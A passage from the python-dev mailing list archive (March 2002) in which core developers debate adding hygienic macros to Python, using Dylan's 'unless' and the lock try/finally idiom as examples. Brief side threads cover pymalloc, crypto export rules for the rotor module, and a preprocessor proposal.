> 
>...
> Sure, here's one from Dylan, that provides a useful bit of syntactic
> sugar that makes some code easier to read:
> 
>   define macro unless
>     { unless (?test:expression) ?:body end }
>      => { if (~ ?test) ?body end }

I think that's a poor example. If Guido wanted to read Python code with
unless in it he would just add it to the language. If you want to make a
case for macros then I would suggest you use an example some obscure
domain where Guido doesn't know enough to recognize that Python is
already good enough as it is. ;) Niel S is on the right track describing
workarounds he's had to do for "eval" and import hooks. In that case the
need was severe enough that they decided to make a Python-like language
even though it was quite difficult. So they've proven that they needed
something like macros enough to implement something like them
themselves. Macros' cost in compile-time is high enough that IMO you
should only use them when you really need them. And I would want them to
be very glaring...as in:

macro unless(has_foo(bar)):
   do_something()

I want to really be clear when I read code of what's built-in and what's
extension stuff.

 Paul Prescod


From nas@python.ca  Mon Mar 18 21:47:39 2002
From: nas@python.ca (Neil Schemenauer)
Date: Mon, 18 Mar 2002 13:47:39 -0800
Subject: [Python-Dev] A Hygienic Macro System in Python?
In-Reply-To: <15510.22480.568459.206414@magrathea.basistech.com>; from tree@basistech.com on Mon, Mar 18, 2002 at 04:10:40PM -0500
References: <15510.20147.954575.793020@magrathea.basistech.com> <web-3773256@digicool.com> <15510.22480.568459.206414@magrathea.basistech.com>
Message-ID: <20020318134739.B22883@glacier.arctrix.com>

Tom Emerson wrote:
> Sure, here's one from Dylan, that provides a useful bit of syntactic
> sugar that makes some code easier to read:
> 
>   define macro unless
>     { unless (?test:expression) ?:body end }
>      => { if (~ ?test) ?body end }

These types of macros don't impress me.  Yes, it's a little more
convenient for the person who writes and understands the macro but its
more work for other people who have to read and maintain the code.
Instead of just reading the code they now have to lookup the definitions
of all of these cute macros.  It reminds me of '#define BEGIN {' in C.
The maintainability of code is it's most important quality, IMHO.
Macros like "unless" don't help.  If you want "unless" it should be part
of the language specification.

I get the impression that its macros like "unless" that turn Guido off
of the while idea.  See my other posts for examples of when I wished
Python had macros.

  Neil


From guido@python.org  Mon Mar 18 21:45:09 2002
From: guido@python.org (Guido van Rossum)
Date: Mon, 18 Mar 2002 16:45:09 -0500
Subject: [Python-Dev] A Hygienic Macro System in Python?
In-Reply-To: Your message of "Mon, 18 Mar 2002 16:10:40 EST."
 <15510.22480.568459.206414@magrathea.basistech.com>
References: <15510.20147.954575.793020@magrathea.basistech.com> <web-3773256@digicool.com>
 <15510.22480.568459.206414@magrathea.basistech.com>
Message-ID: <200203182145.g2ILj9326166@pcp742651pcs.reston01.va.comcast.net>

> I find using 'unless' makes some things more readable.

Here our ways part (see Jeremy's post) :-).

> Perhaps, perhaps not. Did the addition of hygienic macros to Scheme
> make it an entirely different language?

How would I know?  I've never used Scheme.  (Note: you don't score
points in the Python world by admiring Scheme. :-)

> ...
> I don't think it would be possible to add hygienic macros to C/C++,
> and I think it would be a bad idea adding pre-processor-based macros
> to Python. However, Scheme and Dylan both provide high-level
> environments where macro systems have been instituted and tools
> created to successfully debug code using them. The really issue is
> comparing Python to Lisp/Scheme/Dylan, and seeing where it's dichotomy
> between runtime and compile time leave the programmer.

I'd like to see more real use cases then.

> ...
> Well, adding any type of macro system will add compile time
> complexity. The question is whether or not the benefits make that
> extra complexity worth-while.

More use cases please!  (Unless you give up now. :-)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From sjmachin@lexicon.net  Mon Mar 18 22:45:55 2002
From: sjmachin@lexicon.net (John Machin)
Date: Tue, 19 Mar 2002 08:45:55 +1000
Subject: writeln? (was Re: [Python-Dev] Idea - place to put string functions and consts)
In-Reply-To: <200203182111.g2ILBrE25758@pcp742651pcs.reston01.va.comcast.net>
References: Your message of "Mon, 18 Mar 2002 15:56:35 EST." <15510.21635.931843.596664@anthem.wooz.org>
Message-ID: <3C96FAC3.9893.944492@localhost>

On 18 Mar 2002 at 16:11, Guido van Rossum wrote:

> > >>>>> "GvR" == Guido van Rossum <guido@python.org> writes:
> > 
> >     >> COMMA.join(['spam', 'eggs'])
> > 
> >     GvR> This I've never liked.
> > 
> >     >> comma_join(['spam', 'eggs'])
> > 
> >     GvR> But this one's sweet!
> > 
> > Ah, so is it the uppercase letters or the dot you dislike <wink>?
> 
> Maybe that, maybe the bother of defining a name for a simple constant;
> it's not like you plan to ever change the program to give COMMA a
> different value.  But comma_join is sweet because it removes a constant
> evaluation from a loop (if the join occurs in a loop).

... like once per record when writing a huge file -- unless you are doing it in a C 
extension so that (inter alia) you can cheaply append "\n" while you are at it.

How come python hasn't grown a writeln method, as in:
   def writeln(self, s): self.write(s + "\n")
but implemented efficiently?

That
if (append_newline) *output++ = '\n';
just has to be up there with the all-time-best-bangs-per-LOC contenders.




From guido@python.org  Mon Mar 18 21:49:26 2002
From: guido@python.org (Guido van Rossum)
Date: Mon, 18 Mar 2002 16:49:26 -0500
Subject: [Python-Dev] A Hygienic Macro System in Python?
In-Reply-To: Your message of "Mon, 18 Mar 2002 13:37:37 PST."
 <20020318133737.A22883@glacier.arctrix.com>
References: <15510.20147.954575.793020@magrathea.basistech.com> <web-3773256@digicool.com>
 <20020318133737.A22883@glacier.arctrix.com>
Message-ID: <200203182149.g2ILnQA26228@pcp742651pcs.reston01.va.comcast.net>

> I think I understand why macros work so well with Common Lisp.  In
> Common Lisp, the AST is really a list.  The AST is easy to read and
> write and it's easy to make macros transform it.  That gives Common
> Lisp programmer's an amazing amount of power.  Maybe Guido thinks it
> gives them too much.  Myself, I don't know.  Most of the time you
> don't need macros but when you do you really do.

It's not that I think it gives too much power, but I do think it's
wasted on most users.  An open question is whether it's worth adding
the complexity for the few who would benefit.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From tim.one@comcast.net  Mon Mar 18 21:49:37 2002
From: tim.one@comcast.net (Tim Peters)
Date: Mon, 18 Mar 2002 16:49:37 -0500
Subject: [Python-Dev] A Hygienic Macro System in Python?
In-Reply-To: <web-3773549@digicool.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCKEKBOFAA.tim.one@comcast.net>

[Jeremy Hylton]
> Funny you should pick this example!  I have been struggling
> with a collection of C code where the author used an
> UNLESS() macro.  I find it obscures the program logic
> significantly.

Python's own cPickle.c uses an UNLESS macro 135 times.  That doesn't mean it
doesn't also use "if (! ...)", and indeed there's no predicting when it may
get used.  It makes cPickle.c hard to work with too.

Python gets a lot of mileage out of reducing the number of "preference ways"
to spell things:  you spell a thing the way Guido likes to spell it, and
everyone's happy <wink>.

OTOH, there are cases like

    lock.acquire()
    try:
        do stuff
    finally:
        lock.release()

that get really tedious if you need to do them a lot, and especially if you
need to nest them.  Maybe Guido can introduce a canned "withlock" macro just
for that <ahem>:

    withlock lock:
        do stuff



From tree@basistech.com  Mon Mar 18 21:49:51 2002
From: tree@basistech.com (Tom Emerson)
Date: Mon, 18 Mar 2002 16:49:51 -0500
Subject: [Python-Dev] A Hygienic Macro System in Python?
In-Reply-To: <200203182145.g2ILj9326166@pcp742651pcs.reston01.va.comcast.net>
References: <15510.20147.954575.793020@magrathea.basistech.com>
 <web-3773256@digicool.com>
 <15510.22480.568459.206414@magrathea.basistech.com>
 <200203182145.g2ILj9326166@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <15510.24831.399851.829587@magrathea.basistech.com>

<sigh>

I think I'll give up. This has obviously been flogged to death many
times before (mea maxima culpa for not going through c.l.p --- I
barely have enough time to read the mailing lists I'm on, let alone
USENET) and I don't have the energy to convince people nor the skin to
take any more beatings.

Crawling back to my hole...

-- 
Tom Emerson                                          Basis Technology Corp.
Sr. Computational Linguist                         http://www.basistech.com
  "Beware the lollipop of mediocrity: lick it once and you suck forever"


From tree@basistech.com  Mon Mar 18 21:49:27 2002
From: tree@basistech.com (Tom Emerson)
Date: Mon, 18 Mar 2002 16:49:27 -0500
Subject: [Python-Dev] A Hygienic Macro System in Python?
In-Reply-To: <20020318134739.B22883@glacier.arctrix.com>
References: <15510.20147.954575.793020@magrathea.basistech.com>
 <web-3773256@digicool.com>
 <15510.22480.568459.206414@magrathea.basistech.com>
 <20020318134739.B22883@glacier.arctrix.com>
Message-ID: <15510.24807.559746.743651@magrathea.basistech.com>

Neil Schemenauer writes:
> These types of macros don't impress me.  Yes, it's a little more
> convenient for the person who writes and understands the macro but its
> more work for other people who have to read and maintain the code.
> Instead of just reading the code they now have to lookup the definitions
> of all of these cute macros.  It reminds me of '#define BEGIN {' in C.
> The maintainability of code is it's most important quality, IMHO.
> Macros like "unless" don't help.  If you want "unless" it should be part
> of the language specification.

Well, FWIW, unless *is* part of the Dylan language, and can be
implemented as a macro (in terms of lower level primitives) or within
the language itself.

Whatever. Nevermind.


-- 
Tom Emerson                                          Basis Technology Corp.
Sr. Computational Linguist                         http://www.basistech.com
  "Beware the lollipop of mediocrity: lick it once and you suck forever"


From skip@pobox.com  Mon Mar 18 22:06:38 2002
From: skip@pobox.com (Skip Montanaro)
Date: Mon, 18 Mar 2002 16:06:38 -0600
Subject: [Python-Dev] A Hygienic Macro System in Python?
In-Reply-To: <LNBBLJKPBEHFEDALKOLCKEKBOFAA.tim.one@comcast.net>
References: <web-3773549@digicool.com>
 <LNBBLJKPBEHFEDALKOLCKEKBOFAA.tim.one@comcast.net>
Message-ID: <15510.25838.348649.56445@beluga.mojam.com>

(Tom, you gave up way too easily!  Hint for the next time: post to
comp.lang.python instead of the python-dev mailing list.  There are at least
20 or 30 people there who will gladly provide positive support for just
about any language change proposal.  The lifetime of proposals posted there
thus tends to be correspondingly much longer than those that originate
here. :-)

    Tim> OTOH, there are cases like

    Tim>     lock.acquire()
    Tim>     try:
    Tim>         do stuff
    Tim>     finally:
    Tim>         lock.release()

    Tim> that get really tedious if you need to do them a lot, and
    Tim> especially if you need to nest them.  Maybe Guido can introduce a
    Tim> canned "withlock" macro just for that <ahem>:

    Tim>     withlock lock:
    Tim>         do stuff

But, since Tom has given up more or less and Tim has diverted the thread to
his own nefarious uses, I will note that the try/finally lock idiom does get
tedious.  Using the same argument as "if Guido wanted 'unless' he'd add it
to the language", I think that if this is important enough, it's important
enough to add to the language.  I think a "lock" keyword would be
appropriate:

    lock somelock:
        do stuff

The biggest problem I found with the try/finally lock idiom was that "do
stuff" can tend to get long, so the vertical distance between lock.acquire()
and lock.release() can be substantial.  a lock statement/clause/macro would
remove the need to worry about that visual distance.

Skip


From pedroni@inf.ethz.ch  Mon Mar 18 22:06:10 2002
From: pedroni@inf.ethz.ch (Samuele Pedroni)
Date: Mon, 18 Mar 2002 23:06:10 +0100
Subject: [Python-Dev] A Hygienic Macro System in Python?
References: <15510.20147.954575.793020@magrathea.basistech.com> <web-3773256@digicool.com>             <20020318133737.A22883@glacier.arctrix.com>  <200203182149.g2ILnQA26228@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <069801c1cec9$1d35d4a0$6d94fea9@newmexico>

From: Guido van Rossum <guido@python.org>
> > I think I understand why macros work so well with Common Lisp.  In
> > Common Lisp, the AST is really a list.  The AST is easy to read and
> > write and it's easy to make macros transform it.  That gives Common
> > Lisp programmer's an amazing amount of power.  Maybe Guido thinks it
> > gives them too much.  Myself, I don't know.  Most of the time you
> > don't need macros but when you do you really do.
> 
> It's not that I think it gives too much power, but I do think it's
> wasted on most users.  An open question is whether it's worth adding
> the complexity for the few who would benefit.
> 

Maybe an approach with an higher entry cost, such
as opening up for extension the parser-compiler would be more pythonic.

regards.



From tim.one@comcast.net  Mon Mar 18 22:12:54 2002
From: tim.one@comcast.net (Tim Peters)
Date: Mon, 18 Mar 2002 17:12:54 -0500
Subject: [Python-Dev] pymalloc on Windows
In-Reply-To: <m31yehhnrx.fsf@mira.informatik.hu-berlin.de>
Message-ID: <LNBBLJKPBEHFEDALKOLCMEKEOFAA.tim.one@comcast.net>

[Martin v. Loewis]
> Or, more interestingly, Neil's patch taking away the PyCore* API
> altogether. If we take his approach, the list of symbols-to-export
> needs to be written from scratch.

What list of symbols-to-export?  That is, are you talking about some
specific file under CVS, and if so which one(s)?



From martin@v.loewis.de  Mon Mar 18 22:17:27 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 18 Mar 2002 23:17:27 +0100
Subject: [Python-Dev] A Hygienic Macro System in Python?
In-Reply-To: <LNBBLJKPBEHFEDALKOLCKEKBOFAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCKEKBOFAA.tim.one@comcast.net>
Message-ID: <m3pu21ed1k.fsf@mira.informatik.hu-berlin.de>

Tim Peters <tim.one@comcast.net> writes:

> Python's own cPickle.c uses an UNLESS macro 135 times.  That doesn't mean it
> doesn't also use "if (! ...)", and indeed there's no predicting when it may
> get used.  It makes cPickle.c hard to work with too.

As a side note - would somebody object to removing the UNLESS
applications from cPickle.c?

Regards,
Martin


From nas@python.ca  Mon Mar 18 22:21:02 2002
From: nas@python.ca (Neil Schemenauer)
Date: Mon, 18 Mar 2002 14:21:02 -0800
Subject: [Python-Dev] A Hygienic Macro System in Python?
In-Reply-To: <069801c1cec9$1d35d4a0$6d94fea9@newmexico>; from pedroni@inf.ethz.ch on Mon, Mar 18, 2002 at 11:06:10PM +0100
References: <15510.20147.954575.793020@magrathea.basistech.com> <web-3773256@digicool.com> <20020318133737.A22883@glacier.arctrix.com> <200203182149.g2ILnQA26228@pcp742651pcs.reston01.va.comcast.net> <069801c1cec9$1d35d4a0$6d94fea9@newmexico>
Message-ID: <20020318142102.A23408@glacier.arctrix.com>

Samuele Pedroni wrote:
> Maybe an approach with an higher entry cost, such as opening up for
> extension the parser-compiler would be more pythonic.

I'm hoping that when Jeremy redesigns the compiler we will have
something better to work with.  I'm thinking on the fly here so
hopefully this makes some sense.  The parser module should return a nice
AST data structure.  We should be able to hook into that parser and make
it parse certain things specially.  This parser module would be similar
to the readtable in Common Lisp.  Alternately, we should be able to have
different parsers that return a same type of AST.  Next, we should able
to optionally perform transforms on the AST before it is feed to the
code generator.  These transforms could be implemented in pure Python.
This would be analogous to macros in CL.

  Neil


From guido@python.org  Mon Mar 18 22:19:33 2002
From: guido@python.org (Guido van Rossum)
Date: Mon, 18 Mar 2002 17:19:33 -0500
Subject: [Python-Dev] A Hygienic Macro System in Python?
In-Reply-To: Your message of "18 Mar 2002 23:17:27 +0100."
 <m3pu21ed1k.fsf@mira.informatik.hu-berlin.de>
References: <LNBBLJKPBEHFEDALKOLCKEKBOFAA.tim.one@comcast.net>
 <m3pu21ed1k.fsf@mira.informatik.hu-berlin.de>
Message-ID: <200203182219.g2IMJX332590@pcp742651pcs.reston01.va.comcast.net>

> As a side note - would somebody object to removing the UNLESS
> applications from cPickle.c?

I would applaud it.  I would also applaud reformatting with tabs
instead of 2-space indents.  Anything for uniform C code.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From barry@zope.com  Mon Mar 18 22:23:29 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Mon, 18 Mar 2002 17:23:29 -0500
Subject: [Python-Dev] A Hygienic Macro System in Python?
References: <15510.22480.568459.206414@magrathea.basistech.com>
 <web-3773549@digicool.com>
Message-ID: <15510.26849.556551.362805@anthem.wooz.org>

>>>>> "JH" == Jeremy Hylton <jeremy@zope.com> writes:

    JH> In part, I'm sure it's because I don't use it in any of my own
    JH> C code, so it's an oddball control flow constructs to my eyes.
    JH> I'm not sure that I'd like to see Python programmers acquire
    JH> to many ways to spell if :-).

IOW, explicit is better than implicit even in C code. :)
-Barry


From skip@pobox.com  Mon Mar 18 22:29:23 2002
From: skip@pobox.com (Skip Montanaro)
Date: Mon, 18 Mar 2002 16:29:23 -0600
Subject: [Python-Dev] A Hygienic Macro System in Python?
In-Reply-To: <200203182219.g2IMJX332590@pcp742651pcs.reston01.va.comcast.net>
References: <LNBBLJKPBEHFEDALKOLCKEKBOFAA.tim.one@comcast.net>
 <m3pu21ed1k.fsf@mira.informatik.hu-berlin.de>
 <200203182219.g2IMJX332590@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <15510.27203.123343.515740@beluga.mojam.com>

    >> As a side note - would somebody object to removing the UNLESS
    >> applications from cPickle.c?

    Guido> I would applaud it.  I would also applaud reformatting with tabs
    Guido> instead of 2-space indents.  Anything for uniform C code.

Ssssh!  Nobody tell Guido's boss... ;-)

Skip


From barry@zope.com  Mon Mar 18 22:28:54 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Mon, 18 Mar 2002 17:28:54 -0500
Subject: [Python-Dev] Re: Activating pymalloc
References: <4C99842BC5F6D411A6A000805FBBB19958DD8A@ge0057exch01.agere.com>
 <20020318114413.A22514@glacier.arctrix.com>
 <15510.23950.459684.253238@beluga.mojam.com>
Message-ID: <15510.27174.860026.671265@anthem.wooz.org>

>>>>> "SM" == Skip Montanaro <skip@pobox.com> writes:

    Neil> PS. Can someone please get the patch/bug redirector working
    Neil> on python.org?

    SM> Here's one that accepts bug ids or patch ids as the PATH_INFO,
    SM> e.g.:

    SM>     http://python.sf.net/sfredir.py/512981

    SM> I don't know how this compares with Michael's.  It doesn't log
    SM> me out of SF though.

Martin von Loewis also has one that merges the bugs and patches id,
and I think I just fixed things so that he can install them on
www.python.org.  You might want to compare notes...

-Barry


From pedroni@inf.ethz.ch  Mon Mar 18 22:28:57 2002
From: pedroni@inf.ethz.ch (Samuele Pedroni)
Date: Mon, 18 Mar 2002 23:28:57 +0100
Subject: [Python-Dev] A Hygienic Macro System in Python?
References: <web-3773549@digicool.com>       <LNBBLJKPBEHFEDALKOLCKEKBOFAA.tim.one@comcast.net> <15510.25838.348649.56445@beluga.mojam.com>
Message-ID: <070601c1cecc$4bcd98e0$6d94fea9@newmexico>

From: Skip Montanaro <skip@pobox.com>
> 
> (Tom, you gave up way too easily!  Hint for the next time: post to
> comp.lang.python instead of the python-dev mailing list.  There are at least
> 20 or 30 people there who will gladly provide positive support for just
> about any language change proposal.  The lifetime of proposals posted there
> thus tends to be correspondingly much longer than those that originate
> here. :-)

unfair <wink>. IMO it is just that CL,Dylan and Common Lisp
did not get macros overnight. And btw the respective communities
have dissenting opinion about macros.  
So maybe a starting point for a discussion would be 
a bunch of tentative but concrete implementation of macros,
that tries to be pythonic. Scheme is not pythonic <wink>.

> 
> But, since Tom has given up more or less and Tim has diverted the thread to
> his own nefarious uses, I will note that the try/finally lock idiom does get
> tedious.  Using the same argument as "if Guido wanted 'unless' he'd add it
> to the language", I think that if this is important enough, it's important
> enough to add to the language.  I think a "lock" keyword would be
> appropriate:
> 
>     lock somelock:
>         do stuff
> 
> The biggest problem I found with the try/finally lock idiom was that "do
> stuff" can tend to get long, so the vertical distance between lock.acquire()
> and lock.release() can be substantial.  a lock statement/clause/macro would
> remove the need to worry about that visual distance.

seems nevertheless ad-hoc <wink>. Then maybe

useres ini,consume:
  stuff

=>

ini()
try:
  stuff
finally:
  consume()

useres somelock.acquire,somelock.release:
 stuff

<wink> x 2

regards.



From tree@basistech.com  Mon Mar 18 22:27:41 2002
From: tree@basistech.com (Tom Emerson)
Date: Mon, 18 Mar 2002 17:27:41 -0500
Subject: [Python-Dev] A Hygienic Macro System in Python?
In-Reply-To: <20020318142102.A23408@glacier.arctrix.com>
References: <15510.20147.954575.793020@magrathea.basistech.com>
 <web-3773256@digicool.com>
 <20020318133737.A22883@glacier.arctrix.com>
 <200203182149.g2ILnQA26228@pcp742651pcs.reston01.va.comcast.net>
 <069801c1cec9$1d35d4a0$6d94fea9@newmexico>
 <20020318142102.A23408@glacier.arctrix.com>
Message-ID: <15510.27101.423043.904239@magrathea.basistech.com>

Neil Schemenauer writes:
> Alternately, we should be able to have different parsers that return
> a same type of AST.  Next, we should able to optionally perform
> transforms on the AST before it is feed to the code generator.
> These transforms could be implemented in pure Python.

This would be *very* nice: when I was at Thinking Machines I worked on
a High Performance Fortran (HPF) compiler that did this: we performed
many parallelizing optimizations over the AST coming out of the HPF FE
and generated code in Fortran 90 which was compiled by the platform's
native F90 compiler (the idea here being that the vendor (SGI or Sun)
would be able to write a better code generator for their CPUs than we
could). Anyway, this resulted in a very configurable and highly
maintainable optimizer that made it easy to try different
optimizations during development).

-- 
Tom Emerson                                          Basis Technology Corp.
Sr. Computational Linguist                         http://www.basistech.com
  "Beware the lollipop of mediocrity: lick it once and you suck forever"


From neal@metaslash.com  Mon Mar 18 22:32:10 2002
From: neal@metaslash.com (Neal Norwitz)
Date: Mon, 18 Mar 2002 17:32:10 -0500
Subject: [Python-Dev] rotor module
References: <3C95C439.D5B3C573@lemburg.com> <3C961E37.56BB3F30@metaslash.com> <3C962276.319950D5@lemburg.com>
Message-ID: <3C966AEA.CA91701C@metaslash.com>

"M.-A. Lemburg" wrote:
> 
> Neal Norwitz wrote:
> >
> > "M.-A. Lemburg" wrote:
> > >
> > > While discussing the PSF contrib docs with Martin, we came
> > > across a possible violation of the US export regulations:
> > >
> > > According to the BXA web-site, all crypto code with more
> > > than 56 bit keys, has to be regsitered with the BXA. rotor
> > > uses 80 bit keys.
> >
> > I believe this restriction was eased.  Exemptions are listed here:
> > http://www.bxa.doc.gov/Encryption/lechart1.html
> >
> > For open source software:
> >
> > License Exception:       TSU-740.13
> > Country Scope:           Global, may not knowingly export to the T-7
> > Reporting Requirements:  No
> > Restrictions:
> >         - Notification by time of export
> 
> Correct, but this notification may still be missing... the PSF
> should get this "fixed".

The only thing I was able to find was that mail was supposed to be
sent to: crypt@bxa.doc.gov.  I don't know if this is correct or not.
If anyone wants, I can send a message to them asking what needs
to be done?

Neal


From Juergen Hermann" <j.her@t-online.de  Mon Mar 18 22:34:44 2002
From: Juergen Hermann" <j.her@t-online.de (Juergen Hermann)
Date: Mon, 18 Mar 2002 23:34:44 +0100
Subject: [Python-Dev] A Hygienic Macro System in Python?
In-Reply-To: <200203182145.g2ILj9326166@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <16n5i0-0KkdpwC@fwd06.sul.t-online.com>

On Mon, 18 Mar 2002 16:45:09 -0500, Guido van Rossum wrote:

>More use cases please!  (Unless you give up now. :-)

My major use case for (simple) macros would be AOP (aspect oriented
programming), where calling a function can hurt you, especially for
aspects like "do this on a development system, but not on the
production system".

Currently, you need things like this:

	if do_debug:
		some costly things

	main code

	if do_debug:
		collect info and write to log or something

So, instead of adding macros, might we think about a Pythonic (and
efficient!) way to add aspects to the language?

Ciao, J=FCrgen




From fredrik@pythonware.com  Mon Mar 18 22:45:47 2002
From: fredrik@pythonware.com (Fredrik Lundh)
Date: Mon, 18 Mar 2002 23:45:47 +0100
Subject: [Python-Dev] A Hygienic Macro System in Python?
References: <LNBBLJKPBEHFEDALKOLCKEKBOFAA.tim.one@comcast.net> <m3pu21ed1k.fsf@mira.informatik.hu-berlin.de>
Message-ID: <01f201c1cece$b38fdfe0$ced241d5@hagrid>

martin wrote:

> As a side note - would somebody object to removing the UNLESS
> applications from cPickle.c?

if you can do it without breaking anything...

(how exhaustive is the cPickle test suite?)

</F>



From tim.one@comcast.net  Mon Mar 18 22:47:05 2002
From: tim.one@comcast.net (Tim Peters)
Date: Mon, 18 Mar 2002 17:47:05 -0500
Subject: [Python-Dev] A Hygienic Macro System in Python?
In-Reply-To: <15510.25838.348649.56445@beluga.mojam.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCAEKKOFAA.tim.one@comcast.net>

[Skip Montanaro]
> (Tom, you gave up way too easily!  Hint for the next time: post to
> comp.lang.python instead of the python-dev mailing list.  There
> are at least 20 or 30 people there who will gladly provide positive
> support for just about any language change proposal.

BTW, there was a long "RFC -- HYGIENIC MACROS IN PYTHON" thread active just
last month on c.l.py.  Here's the head:

    http://aspn.activestate.com/ASPN/Mail/Message/1014711

> ...
> But, since Tom has given up more or less and Tim has diverted the
> thread to his own nefarious uses, I will note that the try/finally
> lock idiom does get tedious.

Indeed, it was the main complaint about Python in one of the papers at the
last conference.

> Using the same argument as "if Guido wanted 'unless' he'd add it
> to the language", I think that if this is important enough, it's
> important enough to add to the language.  I think a "lock" keyword
> would be appropriate:
>
>     lock somelock:
>         do stuff

I think it's more general than that.  A common idiom in C++ is to rely on
that language's strict rules about the lifetime of auto variables, simply
declaring a class instance at block scope, relying on the constructor to get
a resource upon block entry, and the destructor to release it upon block
exit.  This doesn't work in Python because lifetimes aren't specified,
Python doesn't have "block scope" anyway, and even at function scope an
unhandled exception may keep function locals alive.  Lock acquire +
release-no-matter-what fits into the C++ scheme naturally, though.

Python does have block-structured constructs, so the temptation for abuse
hasn't gone away <wink>.

> The biggest problem I found with the try/finally lock idiom was that
> "do stuff" can tend to get long, so the vertical distance between
> lock.acquire() and lock.release() can be substantial.  a lock
> statement/clause/macro would remove the need to worry about that
> visual distance.

The longer I endure life, the more I tend to write this as

lock.acquire()
try:
    one_line_to_call_a_function_that_does_the_real_work()
finally:
    lock.release()

Then it's clear that the try/finally exists *only* to muck with the lock
safely, and the body of the function remains blissfully free of lock
convolutions.



From tim.one@comcast.net  Mon Mar 18 22:50:45 2002
From: tim.one@comcast.net (Tim Peters)
Date: Mon, 18 Mar 2002 17:50:45 -0500
Subject: [Python-Dev] A Hygienic Macro System in Python?
In-Reply-To: <m3pu21ed1k.fsf@mira.informatik.hu-berlin.de>
Message-ID: <LNBBLJKPBEHFEDALKOLCKEKKOFAA.tim.one@comcast.net>

[martin@v.loewis.de]
> As a side note - would somebody object to removing the UNLESS
> applications from cPickle.c?

I suppose it depends on whether we expect to get significant new cPickle
code from Jim Fulton.  cStringIO.c is the only other Python file using
UNLESS (one guess as to who wrote it <wink>).



From aahz@pythoncraft.com  Mon Mar 18 23:02:59 2002
From: aahz@pythoncraft.com (Aahz)
Date: Mon, 18 Mar 2002 18:02:59 -0500
Subject: [Python-Dev] POSIX thread code
In-Reply-To: <200203181423.g2IENd722219@pcp742651pcs.reston01.va.comcast.net>
References: <LNBBLJKPBEHFEDALKOLCOEAGOFAA.tim.one@comcast.net> <200203181423.g2IENd722219@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <20020318230259.GA19077@panix.com>

On Mon, Mar 18, 2002, Guido van Rossum wrote:
>
> Yeah, unfortunately the only implementation technique I have to offer
> right now is to turn all acquire calls internally into a loop around
> an acquire call with a timeout in the order of 1 second, and to check
> signals each time around the loop. :-(

-1

The problem with this is that you really start tying yourself in knots.
If you do a time.sleep() for one second, that can't be interrupted for a
full second, either on keyboard interrupt or on releasing the lock.  The
finer-grained you go on time.sleep(), the more overhead you consume, and
the coarser-grained you go, the more you limit throughput.

I'm not aware of any good cross-platform technique for managing thread
timeouts that is also "live".
-- 
Aahz (aahz@pythoncraft.com)           <*>         http://www.pythoncraft.com/

The best way to get information on Usenet is not to ask a question, but
to post the wrong information.  --Aahz


From python@rcn.com  Mon Mar 18 23:03:59 2002
From: python@rcn.com (Raymond Hettinger)
Date: Mon, 18 Mar 2002 18:03:59 -0500
Subject: [Python-Dev] Idea of the Month:  Preprocessor
Message-ID: <003d01c1ced1$32b82460$52e77ad1@othello>

Enable a command line option [-p filename.py] and a related environment
variable PYTHONPREPROCESS.  The new behavior of the interpreter would then
be to submit all of its input to the preprocess program (a module written in
pure python) and then interpret the result.

The goal is to enable experimentation with proposed language features
without having to write and compile a python extention or alter the parser
in any way.  The anti-goals are to avoid use in production programs and
avoiding creating a macro system for the language as a whole.  In other
words, make experimentation easy while keeping the language itself pure and
avoid the weirdness that macro systems make possible.

This idea would make it easy to experiment with the effects of proposed
PEPs.  Experimentation is important for evaluation -- a lot of folks who
thought list comprehensions were a bad idea found that they came to like
them after some experimentation.  Right now, I'm inclined to believe that
the proposed 'for i in 3:' integer iteration idea is a bad thing; however,
direct experimentation could possibly convince me otherwise.  For the time
being, the discussion of its merits will remain abstract and ungrounded as
compared to a more meaningful and concrete discussion that would ensue from
some experience the idea.



Raymond Hettinger           <-- No longer afraid of reptiles



From pedroni@inf.ethz.ch  Mon Mar 18 23:16:40 2002
From: pedroni@inf.ethz.ch (Samuele Pedroni)
Date: Tue, 19 Mar 2002 00:16:40 +0100
Subject: [Python-Dev] Idea of the Month:  Preprocessor
References: <003d01c1ced1$32b82460$52e77ad1@othello>
Message-ID: <07dc01c1ced2$f668c580$6d94fea9@newmexico>

From: Raymond Hettinger <python@rcn.com>
> This idea would make it easy to experiment with the effects of proposed
> PEPs.

What tools would make the preprocessing easy, tools
that cannot be used through a __import__ hook?

regards.



From nhodgson@bigpond.net.au  Mon Mar 18 23:48:52 2002
From: nhodgson@bigpond.net.au (Neil Hodgson)
Date: Tue, 19 Mar 2002 10:48:52 +1100
Subject: [Python-Dev] A Hygienic Macro System in Python?
References: <16n5i0-0KkdpwC@fwd06.sul.t-online.com>
Message-ID: <008701c1ced7$76123600$0acc8490@neil>

Juergen Hermann:
> On Mon, 18 Mar 2002 16:45:09 -0500, Guido van Rossum wrote:
>
> >More use cases please!  (Unless you give up now. :-)
>
> My major use case for (simple) macros would be AOP
> (aspect oriented programming), where calling a function
> can hurt you, especially for aspects like "do this on a
> development system, but not on the production system".

   My use case, which I don't think is achievable with simple macros, is
design-by-contract. Method preconditions and postconditions look easy, but
inserting class invariant checks would be much harder.

   Neil




From tim.one@comcast.net  Tue Mar 19 00:15:06 2002
From: tim.one@comcast.net (Tim Peters)
Date: Mon, 18 Mar 2002 19:15:06 -0500
Subject: [Python-Dev] Re: Activating pymalloc
In-Reply-To: <4C99842BC5F6D411A6A000805FBBB19958DD8C@ge0057exch01.agere.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCKELAOFAA.tim.one@comcast.net>

[Vladimir Marangozov]
> ...
> About tuning pymalloc: I would suggest reviving the profiler which
> sleeps in the patches list. You'll find it invaluable for gathering
> the stats directly from Python.

I believe it's invaluable for gathering statistics, but I'm not sure the
statistics themselves are invaluable anymore.  The detailed statistics on

    http://starship.python.net/crew/vlad/pymalloc/

were interesting at the time, and helped you decide on the *form* of the
Python allocator, but once that was decided they're not really compelling
anymore.  For example, none of the programs profiled there use Python
classes heavily, so they're not going to show that pymalloc currently can
